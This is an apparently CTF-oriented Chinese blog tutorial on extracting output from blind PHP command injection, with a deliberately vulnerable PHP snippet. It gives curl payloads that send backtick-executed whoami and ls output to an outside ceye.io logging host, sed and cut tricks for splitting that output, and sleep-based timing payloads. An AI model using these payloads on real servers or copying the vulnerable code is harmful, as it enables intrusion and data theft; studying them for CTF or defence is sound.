Sky's blog

Time_Based_RCE

Word count: 1,100 / Reading time: 5 min
2017/12/29 Share

前言

想必大家遇到RCE的题目不算少数,那么如果题目可以命令执行,却没有回显,那么我们应该如何有效打击呢?

盲打RCE

先看这样一段函数:

1
2
3
<?php
$cmd = $_GET[`cmd`];
echo `$cmd`;

对于这样的情况,我们可以直接
?cmd=ls
即可拿到回显:

1
docker-compose.yml flag index.php

但是如果题目变成

1
2
3
<?php
$cmd = $_GET[`cmd`];
`$cmd`;

又该怎么办呢?
这里的命令执行结果显然不会打印出来,那么我们如何获取到这个结果?
这里介绍一种方法:

1
curl http://ip.port.b182oj.ceye.io/`whoami`

我们可以将回显直接打出来
而这里用了一点反引号可以直接执行命令
所以最后打出来的应该是

1
http://ip.port.b182oj.ceye.io/www-data

我们在vps上应该可以看到这样的信息即可获取到命令执行结果
但是大家有没有想过,如果我们这里用ls会是什么结果呢?

1
curl http://ip.port.b182oj.ceye.io/`ls`

显然,我们只打印出了第一列的值:

1
http://ip.port.b182oj.ceye.io/docker-compose.yml

那么剩余的怎么办?
就要用到接下来的sed命令
sed作为Linux三剑客之一,功能十分强大
我们看一下用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

-n, --quiet, --silent
suppress automatic printing of pattern space
-e script, --expression=script
add the script to the commands to be executed
-f script-file, --file=script-file
add the contents of script-file to the commands to be executed
--follow-symlinks
follow symlinks when processing in place
-i[SUFFIX], --in-place[=SUFFIX]
edit files in place (makes backup if SUFFIX supplied)
-l N, --line-length=N
specify the desired line-wrap length for the `l' command
--posix
disable all GNU extensions.
-r, --regexp-extended
use extended regular expressions in the script.
-s, --separate
consider files as separate rather than as a single continuous
long stream.
-u, --unbuffered
load minimal amounts of data from the input files and flush
the output buffers more often
-z, --null-data
separate lines by NUL characters
--help display this help and exit
--version output version information and exit

我们需要用到这里的-n
测试一下:

1
2
3
4
5
6
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '1p'
docker-compose.yml
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '2p'
flag
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p'
index.php

相当完美的实现了行的划分,可以依此打出所有行信息
那么问题又来了
打出来的信息可能会受到长度的限制,这又该如何解决呢?
这里又要用的强大的指令cut
同样我们看一下用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-b, --bytes=LIST        select only these bytes
-c, --characters=LIST select only these characters
-d, --delimiter=DELIM use DELIM instead of TAB for field delimiter
-f, --fields=LIST select only these fields; also print any line
that contains no delimiter character, unless
the -s option is specified
-n (ignored)
--complement complement the set of selected bytes, characters
or fields
-s, --only-delimited do not print lines not containing delimiters
--output-delimiter=STRING use STRING as the output delimiter
the default is to use the input delimiter
-z, --zero-terminated line delimiter is NUL, not newline
--help display this help and exit
--version output version information and exit

我们需要用到这里的-c
我们测试一下

1
2
3
4
5
6
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 1
i
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 2
n
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 3
d

一个字符一个字符太慢?
那可以截取段:

1
2
3
4
5
6
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 1-3
ind
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 2-4
nde
root@iZ2zedjjczi6xq672y57b4Z:/var/my_problem/timebasedrce# ls | sed -n '3p' | cut -c 3-5
dex

故此可以打出任意行,任意长度的信息

Time-Based-RCE

第一次是在swpu上看到:
假设我们这样

1
?cmd=if [1=1];then sleep 10;fi

浏览器则会睡眠10秒后才响应

1
而?cmd=if [1=2];then sleep 10;fi

则会立即响应
那么我们可以利用这种类似sql盲注的方法进行RCE执行结果获取

1
?cmd = if [$(whoami|cut –c 1)=w];then sleep 10;fi

如果成立,则会类似盲注一样,待响应10s,如果错误则会立即回显
但我们输出的结果里可能会带有其他字符,所以可以经过Base32处理一下,这样输出的只有大写字符和数字,以及等号
类似于:

1
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi

而在github上也有类似的利用工具:
https://github.com/dancezarp/TBDEx

CATALOG
  1. 1. 前言
  2. 2. 盲打RCE
  3. 3. Time-Based-RCE